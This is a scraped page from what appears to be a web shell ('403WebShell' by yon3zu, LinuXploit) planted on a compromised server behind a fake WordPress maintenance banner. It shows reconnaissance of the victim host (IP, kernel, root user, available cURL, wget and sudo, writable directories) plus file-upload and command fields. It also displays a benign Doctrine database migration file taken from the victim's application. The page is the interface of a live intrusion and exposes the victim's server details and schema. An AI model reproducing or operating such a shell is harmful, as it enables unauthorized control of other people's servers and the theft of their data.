WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.216.245
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/src/Migrations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/src/Migrations/Version20190921123906.php
<?php

declare(strict_types=1);

namespace DoctrineMigrations;

use Doctrine\DBAL\Schema\Schema;
use Doctrine\Migrations\AbstractMigration;

/**
 * Auto-generated Migration: Please modify to your needs!
 */
final class Version20190921123906 extends AbstractMigration
{
    public function getDescription() : string
    {
        return '';
    }

    public function up(Schema $schema) : void
    {
        // this up() migration is auto-generated, please modify it to your needs
        $this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \'mysql\'.');

        $this->addSql('ALTER TABLE fos_user ADD registration_complete TINYINT(1) NOT NULL, CHANGE identity_verified identity_verified INT NOT NULL');
        $this->addSql('ALTER TABLE ftpuser ADD CONSTRAINT FK_B0BC00ECA76ED395 FOREIGN KEY (user_id) REFERENCES fos_user (id)');
        $this->addSql('ALTER TABLE stock_model ADD CONSTRAINT FK_4B856E28DCD6110 FOREIGN KEY (stock_id) REFERENCES stock (id)');
        $this->addSql('ALTER TABLE stock_model ADD CONSTRAINT FK_4B856E287975B7E7 FOREIGN KEY (model_id) REFERENCES fos_user (id)');
        $this->addSql('ALTER TABLE stock_model ADD CONSTRAINT FK_4B856E28D81579EA FOREIGN KEY (model_release_id) REFERENCES release_form (id)');
        $this->addSql('ALTER TABLE stock_model ADD CONSTRAINT FK_4B856E289E085865 FOREIGN KEY (create_by_id) REFERENCES fos_user (id)');
        $this->addSql('ALTER TABLE cart_item ADD CONSTRAINT FK_F0FE2527DCD6110 FOREIGN KEY (stock_id) REFERENCES stock (id)');
        $this->addSql('ALTER TABLE cart_item ADD CONSTRAINT FK_F0FE25279E085865 FOREIGN KEY (create_by_id) REFERENCES fos_user (id)');
        $this->addSql('ALTER TABLE cart_item ADD CONSTRAINT FK_F0FE25271AD5CDBF FOREIGN KEY (cart_id) REFERENCES cart (id)');
    }

    public function down(Schema $schema) : void
    {
        // this down() migration is auto-generated, please modify it to your needs
        $this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \'mysql\'.');

        $this->addSql('ALTER TABLE cart_item DROP FOREIGN KEY FK_F0FE2527DCD6110');
        $this->addSql('ALTER TABLE cart_item DROP FOREIGN KEY FK_F0FE25279E085865');
        $this->addSql('ALTER TABLE cart_item DROP FOREIGN KEY FK_F0FE25271AD5CDBF');
        $this->addSql('ALTER TABLE fos_user DROP registration_complete, CHANGE identity_verified identity_verified TINYINT(1) NOT NULL');
        $this->addSql('ALTER TABLE ftpuser DROP FOREIGN KEY FK_B0BC00ECA76ED395');
        $this->addSql('ALTER TABLE stock_model DROP FOREIGN KEY FK_4B856E28DCD6110');
        $this->addSql('ALTER TABLE stock_model DROP FOREIGN KEY FK_4B856E287975B7E7');
        $this->addSql('ALTER TABLE stock_model DROP FOREIGN KEY FK_4B856E28D81579EA');
        $this->addSql('ALTER TABLE stock_model DROP FOREIGN KEY FK_4B856E289E085865');
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit